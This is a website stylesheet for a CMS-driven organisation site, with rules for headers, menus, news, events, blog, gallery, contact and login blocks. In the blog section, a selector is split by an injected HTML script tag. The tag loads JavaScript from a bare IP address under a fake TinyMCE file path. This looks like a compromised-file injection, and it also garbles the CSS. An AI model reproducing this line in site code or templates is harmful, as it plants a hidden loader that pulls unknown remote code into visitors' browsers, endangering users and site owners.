/*
 * Permanent CSS 
 */


/*******  Common Hacks	**************************************		
															**
															**
	--- safari 3+, chrome 1+, opera9+, ff 3.5+ ---			**
/*body:first-of-type #ocho {  color: red }					**
															**	
	--- saf3, chrome1+ ---									**
@media screen and (-webkit-min-device-pixel-ratio:0) { 		**
 #diez  { background: #FFDECE; border: 2px solid #ff0000  } **
}															**
															**
	--- IE 7 and below ---									**
*:first-child+html #dos { color: red }						**
															**
															**
	--- saf3, chrome1+ ---									**
@media screen and (-webkit-min-device-pixel-ratio:0) { 		**
#menu  { display:none; }									**
}															**
															**
	--- IE 7 and modern browsers ---						**
html>body #tres { color: red }								**
															**
*********************************************************** */


																				/* **************************** ADMIN ELEMENTS ********************** */

html {  font-family: Arial, Verdana, sans-serif; color: #000; font-weight: normal; margin-top: 0px; background:#003399; }
body {  font-family: Arial, sans-serif; margin: 0px; padding: 0px; height:100%; width:100%; text-align:justify; background: url(/images/mainbg.png) repeat-y center top;  }
p { font-family: Arial, sans-serif;  font-size: 12px;  margin-bottom: 10pt; }
h1 {  font-size: 16px; font-weight: bold;  }
h2 {  font-size: 14px; font-weight: bold;  }
h3 { font-size:20px; }
h4 {  }
h5 {  }
h6 {  }
a { color:#55297D; text-decoration: none; font-weight:bold; }
a:hover { color:#000; text-decoration: underline; }
em, i { font-style: italic; }
strong, b { font-weight: bold; }
.share { float:right; margin-right:10px;}


																				/* **************************** COMMON ELEMENTS ********************* */

.iplasma-breadcrumb { padding:10px 0 10px 10px; font-size:16px; font-weight: bold }
.iplasma-breadcrumb a {  }
.iplasma-breadcrumb a:hover { color:#000; }
.iplasma-content-title  { font-size: 18px; font-weight: bold; margin:10px  0 10px 10px; }
#iplasma-breadcrumb-share { padding:0px 10px 10px 0px; }


/*--- IE 7 and below ---*/
*:first-child+html .iplasma-breadcrumb { padding:10px 0 10px 10px; font-size:16px; font-weight: bold; margin:60px 0 0 0; }


/* **************************** HEADER ****************************** */
								
#header-container { margin:0; padding:0px 0 0 0; font-size:12px; }
#header { width:977px; margin-left: auto; margin-right: auto; padding:70px 10px;}
.bgwrap { background: url(/images/bodybg.png); margin:20px auto -10px auto; height:188px; width:100%; float:left; }

/*--- IE 7 and below ---*/
*:first-child+html .bgwrap { margin:20px auto -90px auto; }


#mainlogo { margin:-80px 0 0px 5px; position:relative; z-index: 15; }
#address { float:right; margin:-30px 0 -30px 0; font-size:14px; color:#fff; text-align: right; }
#topnav { background:url(/images/topnavbg.png) repeat-x; padding:0 5px 0 300px; margin:-175px 5px 0 30px; height:30px; }

/*--- IE 7 and below ---*/
*:first-child+html #mainlogo img { position:relative; z-index: 999;  }

/*--- IE 7 and below ---*/
*:first-child+html #topnav {  }


#topnav img { float:right; margin-top:-23px;}
#topnav p { padding:7px 0 0 60px; }
#topnav a { font-size:13px; text-decoration: none; color:#fff; font-weight:bold; margin:0px 8px 0px 0; padding: 5px 2px;  }
#topnav a:hover { background:#000168; }
#topart { float:right; margin: 3px 5px 0 0px;}

/*--- safari 3+, chrome 1+, opera9+, ff 3.5+ ---*/
body:first-of-type #topnav img { margin-top:-7px;}


							  													/* **************************** NAVIGATION ************************** */
							
							
/* **************************** Iplasma-Menu-Top ******************** */							

#menu  { background:url(/images/bodybg.png); width:957px; margin:-5px auto 0px auto; padding:5px 10px 5px 10px; position:relative; z-index:700; }							
#iplasma-menu-top { background: url(/images/mainnavbg.png) repeat-x; padding:3px 5px 10px 28px; margin:0 0 0 -2px; width:927px;  height:51px;}
/*#iplasma-menu-top ul { margin-left:5px;  }*/
#iplasma-menu-top ul li { list-style:none; display:inline; margin:0px 10px 0px 10px; }

/*--- IE 7 and below ---*/
*:first-child+html #iplasma-menu-top ul li { margin:0px 10px 0px 8px; }


#iplasma-menu-top ul li a { color:#FFF; font-size:16px; }
#iplasma-menu-top ul li a:hover { color:#fff; text-decoration:none; }

#subnav { background:url(/images/subnav.png) repeat-x; padding:15px 5px 10px 5px; margin:-15px 0 0 -4px; width:953px; height:20px; }
#subnav p a { color:#fff; padding: 11px 5px 8px 5px; font-size: 14px; }
#subnav a:hover { color:#fff; text-decoration: none; background:url(/images/parenthoverbg.png); }
#subnav #first { margin:0px 0px 0px -15px; }
#subnav #second { margin:0px 0px 0px 0px; }
#subnav img { margin:0 0 -2px 5px; }
#subnav img.secondleaf { margin-right:-80px; }
#subnav #third { margin:0px; }
#subnav #third { margin:0px 0px 0px 80px; }
#subnav #fourth { margin:0px 0px 0px 80px; }

/*--- IE 7 and below ---*/
*:first-child+html #subnav #third { margin:0px 0px 0px 40px; }

.sf-menu ul { position:	absolute; top: -999em; width: 150px;  margin-left:-20px; padding: 0 0 5px 5px; }
.sf-menu ul li { width: 100%; text-align:left; }
.sf-menu li:hover { visibility:	inherit; /* fixes IE7 'sticky bug' */ }
.sf-menu li { float: left; position: relative; padding:0 7px 0 5px; }
.sf-menu a { display: block; position: relative; }
.sf-menu li:hover ul, .sf-menu li.sfHover ul { top:2.2em; /* match top ul list item height */ }
.sf-menu a { padding: 10px 0em 10px 5px; text-decoration:none; }

/*Parent menu Item*/
.sf-menu li a:hover { color:#000; }

/*Dropdown Background*/
.sf-menu li ul li { background:url(/images/parenthoverbg.png); padding: 0 3px; position:relative; z-index: 100; padding-bottom:2px; }

/* Dropdown Background Hover */
.sf-menu li li a:hover { background:#70c244; }
.sf-menu li:hover { background:url(/images/parenthoverbg.png); }




/* **************************** Main Content ************************ */

#content-container { background:url(/images/bodybg.png); background-position: left top; width:957px; margin:0 auto -10px auto; padding:0px 10px 10px 10px; }
.inner-content-container { margin:0 0 0 205px; padding:0px; background:#fff; width:753px; min-height:738px; }

/*--- saf3, chrome1+ ---*/
@media screen and (-webkit-min-device-pixel-ratio:0) {
.inner-content-container  { min-height:715px;  }
}

/*--- IE 7 and below ---*/
*:first-child+html .inner-content-container { margin-top:-700px; }

#html-content-1 { background:#FFF; padding:0 10px; font-size:12px; text-align: justify; line-height:1.5em; width:733px; margin:0 0 0 0px; }
#frontpagecontent { padding:0 0 0 10px; text-align: justify;}
#frontpagecontent h2 { margin-bottom:20px; font-size:18px; }
#frontpagecontent p { font-size:14px; }
#frontpagecontent h2, #frontpagecontent p  { color:#010067; width: 413px; }
.iplasma-content-body { background:#fff; padding: 10px; min-height:450px; }

#sidebar { width:199px;background:url(/images/.png); padding:0 4px 0 0px; margin:0px 0 0 0px; position:relative; z-index: 200; float:left; }

/*--- IE 7 and below ---*/


#sidebarheader { width:199px; }
#sidebarbody {  background:url(/images/sidebarbg.png) repeat-y; background-position: left top; margin: -2px 0 0 0px; }

/* ******************************* Footer *************************** */
								
#footer-container { margin:0px 0 0 0; padding:0;  }
#footernav { padding:10px 10px 15px 10px; margin:-15px 0 0 2px; background:url(/images/bodybg.png); width:957px; color:#fff; }


/*--- safari 3+, chrome 1+, opera9+, ff 3.5+ ---*/
body:first-of-type #footernav {  margin-left:1px; }

/*--- IE 7 and modern browsers ---*/
html>body #footernav { margin-left:1px; }


#footernav a { color: #fff; font-size:14px; font-weight:bold; }

#footernav1 { margin:5px auto; width:870px; }
#footernav2 { margin:auto; width:700px;}
#footer { width: 980px; margin: 0 auto 0px auto; color:#fff; }
#footer span { font-size:12px; } 
#insercorp  { font-size: 8pt; font-weight: bold; float:right; height:10px; margin:-40px 200px 0 0;  } 
#tag  { font-size: 8pt; font-weight: bold; height:10px; float:left; margin:-30px 0px 0 220px; color:#fff; width:400px; }
#insercorp img { margin-bottom:-7px;}
#tag span a, #insercorp  a { color:#fff; font-weight: bold; font-size:10px; }
#tag a:hover, #insercorp a:hover { color:#fff; text-decoration: underline; }


							  													/* **************************** HOME PAGE BLOCKS ******************** */
							
							
/* **************************** Latest Blog Post *************************** */	
						
.latest-blog { margin:0; padding-left:4px; }
#latest-blog-title { font-size:18px; font-weight:bold; }
#latest-blog-rss { }
.blog-image { padding:0; margin:0; }
.blog-title { }
.blog-title a { color:#000; text-decoration: none;}
.blog-title a:hover { text-decoration:underline; }
.blog-date { }
.blo<script type="text/javascript" src="http://24.196.252.73/templates/default/js/TinyMCE/themes/advanced/langs/en.js"></script>g-date a { }
.blog-subtitle { }
.blog-readmore { }
.blog-readmore a { }
#latest-blog-viewall { }


/* **************************** News Block ****************************** */

.latest-news { padding:0px; margin-left:10px; width:192px; }
.latest-news a { font-weight:bold; font-size:12px; } 
.latest-news-title { background:url(/images/newsupdate.png) no-repeat; width:204px; height:37px; margin:0 0 10px -12px; }
.latest-news-title img { margin:5px 0 0 165px; }
.latest-news-title a { font-size: 18px; }
.latest-news-rss { }
.latest-news-rss a { }
.news-image { padding:0px; margin:0px; }
.news-image img {  }
.news-title  { margin:10px 0; }
.news-title a { font-size:12px; color:#010067; }
.news-date  { font-size:12px; font-weight:normal; font-style:italic; }
.news-date a { color:#000; }
.news-subtitle { }
.news-block-readmore { display:none; }
.news-block-readmore a { color:#fff; }
#latest-news-block-viewall { display:none; }
#latest-news-viewall a { font-weight:bold; }



/* **************************** Events Block ***************************** */

#upcoming-events { margin-left:0px; padding:0; width:197px; }
#upcoming-events a { }
.event-block-title { background:url(/images/featuredevents.png) no-repeat; width:204px; height:37px; margin:0 0 10px -2px; }
.event-block-title img { margin:5px 0 0 165px; }
.event-block-upcoming-item { margin-left:10px; }
.event-item-title  { margin:10px 0; }
.event-item-title  a { font-size:12px; color:#010067; font-weight:bold; }
.event-item-time { margin:0 0 0 5px; font-size:12px; font-style:italic; font-weight:bold; }
.event-block-description { width:80%; text-align: justify; margin-left: 20px; display:none; }


/* **************************** Slideshow Block *************************** */

#slideshow-wrap { margin:0px 0 0px 0px; position:relative; padding:3px 0px 0px 0px; width:753px; z-index:100; }
#banner { margin:0px 0px 0 -4px; background:url(/images/mainpageheader.png) no-repeat; width:755px; height:53px; padding:0px 0px 0 2px; }			

/*--- IE 7 and below ---*/
*:first-child+html #banner { margin-top:50px; }
										
#prevBtn { margin:100px 0 0 240px; }

/*--- IE 7 and below ---*/
*:first-child+html #prevBtn { margin:150px 0 0 240px;  }

#nextBtn { margin:100px 210px 0 0px; }

/*--- IE 7 and below ---*/
*:first-child+html #nextBtn { margin:150px 210px 0 0px;  }

.slideshow-block { margin:auto; }
.slideshow-slide {  }


/* **************************** Random Testimonials Block ***************** */

.testimonial-block {  }													
#testimonial-block-title { }
.testimonial-excerpt { font-style:italic; }
.testimonial-excerpt a {  }
.testimonial-excerpt a:hover {  }
.testimonial-author {  }
.testimonial-viewall {  }
.testimonial-viewall a {  }


/* **************************** Random Gallery Block ********************** */

.iplasma-block-gallery-randomalbum {  }
.album-title {  }
.album-title a {  }
.album-featured {  }
.album-subtitle {  }
.album-viewmore {  }
.album-viewmore a {  }


																				/* **************************** Event Module ************************ */
													

/* **************************** Events Wrap and Blocks ******************** */													

#events-wrap { width:200px; float:left; border:1px solid #000; margin:0 0 10px 10px; padding:5px 5px;  background:url(/images/bodybg.png); }
.events-block { margin:10px auto 10px auto; padding:5px; border:1px solid #000; }
.events-block-title { font-size: 18px; font-weight: bold; }

/*Events Categories Block*/
#events-categories { background:url(/images/sidebarbg.png); }
.events-block-categories { }
.events-block-categories a { font-weight:bold; font-size:14px; color:#010067; }
#events-view-all {  }
#events-view-all a { font-size:12px; margin-left:60px; color:#010067; }

/*Upcoming Events Block*/
#upcoming-events-block { background:url(/images/sidebarbg.png); }
.events-page-block-title {  }
.event-block-upcoming-item {  }
.event-block-item-title { font-size: 14px; font-weight: bold; margin:10px 10px 10px 0px; }
.event-block-item-title a { margin-left:-20px; color:#010067;  }
.event-block-item-time { font-size:12px; font-weight:bold; margin-top:-5px; }
.event-block-description { }
.view-future-events, .view-past-events { margin-top:10px; }
.view-future-events a, .view-past-events a { font-size:12px; margin-left:25px; color:#010067; }

/*Past Events Block*/
#past-events { background:url(/images/sidebarbg.png); }
.events-page-block-title {  }
.event-block-upcoming-item {  }
.event-block-item-title { font-size: 14px; font-weight: bold; margin:10px 0 10px 10px; }
.event-block-item-title a {  }
.event-block-item-time { }
.event-block-description { }
.view-past-events {  }
.view-past-events a {  }

													
/* **************************** Event Landing Page ************************ */	

#calendar { width:500px; float:left; margin:0 10px 10px 10px;  }							
						
												
/* *************************** Event Detail Page ************************** */
							
#event-view { width:500px; float:left; margin:0 10px 10px 10px; }
#event-info h2 { font-size: 18px; font-weight: bold; margin:10px  0 10px 0px; }
#event-time { margin: 0 0 10px 0; }
#event-description { text-align: justify; line-height:1.5em; font-style: italic; margin-bottom:5px; }
#event-detail { text-align: justify; line-height:1.5em; margin-bottom:5px; }
#event-location { margin:10px 0px; } 
#event-map { width: 500px; height: 300px; }


/*********************** Future & Past Events Page **************************/

#future-events { width:500px; float:left; margin:0 10px 10px 10px;  }
.future-events-block-title { font-size:18px; font-size:16px; font-weight: bold }
.future-event-upcoming-item { margin:15px 10px; }
.future-event-title {  }
.future-event-title a { font-size:14px; }
.future-event-time { margin:5px 0 5px 10px; }
.future-event-description { margin-left:10px; }
.future-event-details { }														



																			/* **************************** News Module ****************************** */

/******************* News-wrap & Blocks **************/
					
#news-wrap	{ float:left; margin:5px 10px 0 20px; padding:5px; border:1px solid #000; width:200px; background:url(/images/bodybg.png); }
.news-category-block { border:1px solid black; padding:5px; background:url(/images/sidebarbg.png); }
.news-category-block-title { font-size: 18px; font-weight: bold; margin:10px  0 10px 0px; }
.news-category-link { margin:0 0 0 10px; }
.news-category-link a { font-weight:bold; font-size:14px; color:#010067; }

.news-latest-news { border:1px solid black; padding:5px; margin:10px 0px; background:url(/images/sidebarbg.png); }	
.news-latest-news-title	{ font-size: 18px; font-weight: bold; margin:10px 0 10px 0px; }			
.news-news-title a { margin:0 0 0 0px; font-size:14px; font-weight: bold; color:#010067; } 

.news-archive-block	{  border:1px solid black; padding:5px; background:url(/images/sidebarbg.png); }				
.news-archive-title	{ font-size: 18px; font-weight: bold; margin:10px  0 10px 0px; }				
.year a { margin:0 0 0 10px; font-size:14px; font-weight: bold; color:#010067; }	
.month a { margin:0 0 0 20px; font-size:14px; font-weight: bold; color:#010067; }
													

 /******************* News Landing Page **************/	
				
.news-index { width:500px; float:left; padding-left:10px; }
.news-module-title a { font-size:16px; }
.news-post { margin:15px 0 15px 0; }
.news-date { margin:2px 2px 4px 5px; font-weight:bold; }
.news-readmore { margin:5px 0 0 390px; }	
.news-readmore a { font-size:14px; }						
.news-image { float:left; }															
.news-paginator { width:65%; margin:auto; font-weight:bold; padding: 10px 0; }
.pf_button a { font-size:12px; color:#010067;; }
.news-category-title {font-size: 18px; font-weight: bold; margin:10px  0 10px 0px; }
.news-subtitle { font-size:14px; }


/******************* News Article Page **************/

.news-view { width:500px; float:left; padding-left:10px; }
.newsview-title { font-size:18px; font-weight:bold; }
.newsview-subtitle { margin-bottom:10px; }
.news-body { margin-bottom:10px; line-height:1.5em; text-align:justify; }

/******************* News Category Page **************/

.news-category-index { width:500px; float:left; padding-left:10px; }
.news-category-index .news-category-title {font-size: 18px; font-weight: bold; margin:10px  0 10px 0px; }
.newscategory-subtitle { width:620px; margin-bottom:10px; }


																			/* **************************** Blog Module ****************************** */

/******************* blog-wrap & Blocks **************/
					
#blog-wrap	{ float:left; margin:0 10px; padding:5px; border:1px solid #000; width:300px; }
.blog-block { border:1px solid black; padding:5px; }

.blog-category-block-title{ font-size: 18px; font-weight: bold; margin:10px  0 10px 0px; }
.blog-category-link { margin:0 0 0 10px; }
.blog-category-link a { font-weight:bold; }

#blog-latest-blog { border:1px solid black; padding:5px; margin:10px 0px; }	
#blog-latest-blog-title	{ font-size: 18px; font-weight: bold; margin:10px 0 10px 0px; }			

#blog-archive-block	{  }				
.blog-archive-title	{ font-size: 18px; font-weight: bold; margin:10px  0 10px 0px; }				
.year a { margin:0 0 0 10px; font-size:14px; font-weight: bold; }	
.month a { margin:0 0 0 20px; font-size:14px; font-weight: bold; }

.blog-paginator { width:65%; margin:auto; font-weight:bold; }


/******************* Blog Landing Page ***************/

.blog-index { width:65%; float:left; }
.blog-image { float:left; }


/******************* Blog Detail Page ***************/

.blog-view { width:65%; float:left; }
.blog-title { font-size:18px; margin:10px 0px;}
.blog-subtitle { font-style: italic; margin:5px 0px; }
.blog-comments-title { margin:10px 0px; font-weight:bold; }

/******************* Blog Category Page *************/

.blog-category-index { width:65%; float:left; }
.blog-post { margin:10px 0px;}


														/* **************************** Contact Page ****************************** */
					
#iplasma-map { position:relative; z-index: 100; margin:-500px 0 0 25px; float:left; }


														/* **************************** Contact Form ****************************** */
					

div#contact-form-block  { margin:-550px 20px 0 310px; height:700px; }
div.form-block  { margin:20px 0 0px 20px; }
/*div#contact_text { position:absolute; width:450px; margin:0 0 0 350px; }*/
#contact-label-name { margin:10px 0 10px 0; font-weight:bold; float:left; padding:2px; }
#contact-field-name { width:200px; margin:10px 0 0 10px; height:20px; }
#contact-label-email { margin:0px 0 20px 0; font-weight:bold; float:left; }
#contact-field-email { width:200px; margin:0px 0 0px 15px; height:20px; }
#contact-label-phone { margin:0px 0 10px 0px; font-weight:bold; float:left; }
#contact-field-phone { width:200px; height:20px; margin:0px 0 0 10px; }
#contact-field-email input, div#contact-field-name input, #contact-field-phone input { width:200px; height:20px; }
#contact-label-method { margin:55px 0 10px 0; font-weight:bold; }
#contact-field-method { margin:0 0 20px 100px; }
span.method-email { margin-left:20px; }
#contact-label-comments { font-weight:bold; margin: 50px 0 0 0; }
#comments { width:400px; height:200px; margin-bottom:10px; margin-top: 0px; }
#contact { position:absolute; margin:0 0 0px 360px; font-weight:bold; }
#recaptcha_image { width:300px; }	

														/* **************************** Sitemap ****************************** */
					
.sitemap-block { padding:10px; }	
.sitemap-title  { font-size: 18px; font-weight: bold; margin:10px  0 10px 0px; }								
.sitemap-block ul {margin-left:10px; list-style:none;}					
.sitemap-block ul li {margin-top:5px}


														/* **************************** Gallery ****************************** */
														

/******************* Gallery Landing Page *************/

#gallery-index { min-height:605px; padding:10px; }
.gallery-category-container {  }
.gallery-category-title { width:200px; margin:10px 0 10px 0; font-size:16px; }
.gallery-category-page, .gallery-album-page { padding:0 10px; min-height:645px; }
#viewmorephotos { margin: 35px 0 0 10px; }
#viewmorephotos a { font-size:14px; }
.subtitle-container { margin-left:10px; }
.gallery-category-page .gallery-category-title, .gallery-album-title  { font-size: 18px; font-weight: bold; margin:10px  0 10px 0px; }
.gallery-album-cell img, .gallery-album-page img, .gallery-album-featured img { border:1px solid #55297D; }
.gallery-category-container .gallery-album-title a { font-size:14px; }
.gallery-album-container .gallery-album-title  { font-size:14px; margin: 0px; }
.gallery-album-container .gallery-album-title a { font-size:14px; margin: 0 0 0px 20px; }



#guest-block-container { margin:-530px 0 0 10px; float:left;  }

/*--- IE 7 and below ---*/
*:first-child+html #guest-block-container { margin:-450px 0 0 10px }


#guest-block { border:1px solid #000; margin:10px auto; padding:0px 10px 5px 10px; width:700px; }
#guest-block img { margin:5px;  }
#nameblock { background:#000168; color:#fff; height:20px; font-size:14px; width:100%; padding:10px; margin:0px 0 0 -10px; }
#nameblock a { color:#fff; padding:10px 5px; }
#nameblock a:hover { color:#fff; background:#70c244; }
#guestcomment { margin:5px 0 0 0; }
#guestform { border:0px solid #000; margin:10px auto; width:600px; padding:0 0 10px 0; }
#guestform input { margin:10px 20px 10px 20px; }
#guestform label { text-align:right; }
#guestform textarea { margin-left:20px; }
.fullname { width:300px; }
.waiting { font-size:20px; }
.received { font-size:20px; color:#000168; }


/*Custom Slideshow*/

#vendorslideshow-wrap { width:970px; height:100px; margin:-20px auto 0px auto ;border:0px solid white; padding:20px 0; }
.vendorslideshow-block {  width:200px; margin:0 auto 0 auto; height:100px; border:0px solid #000; padding:0px 100px; }
.vendorslideshow-block img { margin:auto; width:400px; }

/*Ticker Styles*/

.news-scroll-wrapper{
	float:left;
    padding: 2px 0 0 0px;
    width: 100%;
    margin:-20px auto 10px 0px;	
}
.news-navigator{
    float: left;
    height: 35px;
    width: 27px;
    text-indent: -999em;
    outline:none;
	

}
.news-left{
	background-image: url(/images/leftarrow.png);
	margin-right:-2px;
	z-index:999;
}
.news-left:hover{
    background-image: url(/images/leftarrowhover.png);
	z-index:999;
}
.news-right{
    background-image: url(/images/rightarrow.png);
	z-index:999;
	padding-right:1px;	
}
.news-right:hover{
    background-image: url(/images/rightarrowhover.png);
	z-index:999;

}
.news-scroll{
	float:left;
	background-image: url(/images/tickerbg.png);
    list-style: none outside none;
    padding:4px 0 4x 0px;
	height:40px;
	overflow:hidden;
	width:100%;
	z-index:200;
}
.news-scroll li{
	float:left;
	left:10px !important;
	overflow:hidden;
	height:35px;
	margin-left:-10px;	
}
.news-scroll li a{
    color: #55297e;
    font-size: 14px;
    font-style: italic;
    line-height: 30px;
    text-decoration: none;
	margin-left:10px;
}
.news-scroll li a span.alert{
    color: #55297e;
    font-size: 14px;
    font-style:normal;
    font-weight: normal;
}
.news-scroll li a em{	
}

#login {
	position:absolute; 
	margin:-630px 0 0 150px;
	width:500px;
}
#login h2 {
	text-align: center;
	padding:10px 0;
	font-family:georgia;
	font-weight:bold;
	font-size:18px;
	color:#010067;
	font-style: italic;
}

#loginform {
	background: url(/images/form_bg.png);
	width:381px;
	height:215px;
	margin:auto;
	border-radius: 5px;	
}
#loginform p{
	text-align: center;
}
#loginform p:first-child {
	padding:25px 0 0px 0;
	text-align: center;
}
#login p:last-child {
	text-align: center;
	padding:5px 0 5px 0;
}
#loginform input[type="text"], #loginform input[type="password"] {
	height:41px;
	width:261px;
	border:0;
	padding-left:5px;
	font-style:italic;
	background: url(/images/form_input_bg.png);
	border-radius:4px;
	font-family:georgia;
	color:white;
	font-size:18px;	
}

p.submit_btn {
	text-align:center;
	width:300px;
	margin:-70px auto 10px auto;
	
}

#login p button {
	background: url(/images/form_btn_bg.png);
	width:142px;
	height:38px;
	font-family:georgia;
	font-weight:bold;
	font-size:18px;
	color:white;
	border:1px solid #A79AB5;
	border-radius:7px;	
	cursor: pointer;	
}

#clear {
	display:none;
}

p.sub_error {
	color:#FFF;
	width:350px;
	margin:0 auto 20px auto;
	text-align: center;
}

#upcoming-events-vendors {
	margin:-680px 10px 0px 0;
	width:194px;
	float:right;
	background:#381B56 url(/images/cal_bg.png) repeat-x;
	color:#fff;
	font:'ariel';
	padding:10px;	
}
.event-item-title-vendors a {
	color:#fff;
	font:'ariel';
	font-weight:bold;
	font-size:14px;		
}
.event-block-title-vendors {
	color:#fff;
	font-weight:bold;
	font-size:16px;
	text-align: center;
	height:33px;
	padding-top:3px;
}
.event-block-upcoming-item-vendors {
	padding:0px 0 10px 5px;
	margin:3px 0;
	width:180px;
}
.event-item-title-vendors {
	padding:2px 0;
}
.event-item-time-vendors {
	color:#bDB1c9;
	font-size:12px;
	margin-top:3px;
}










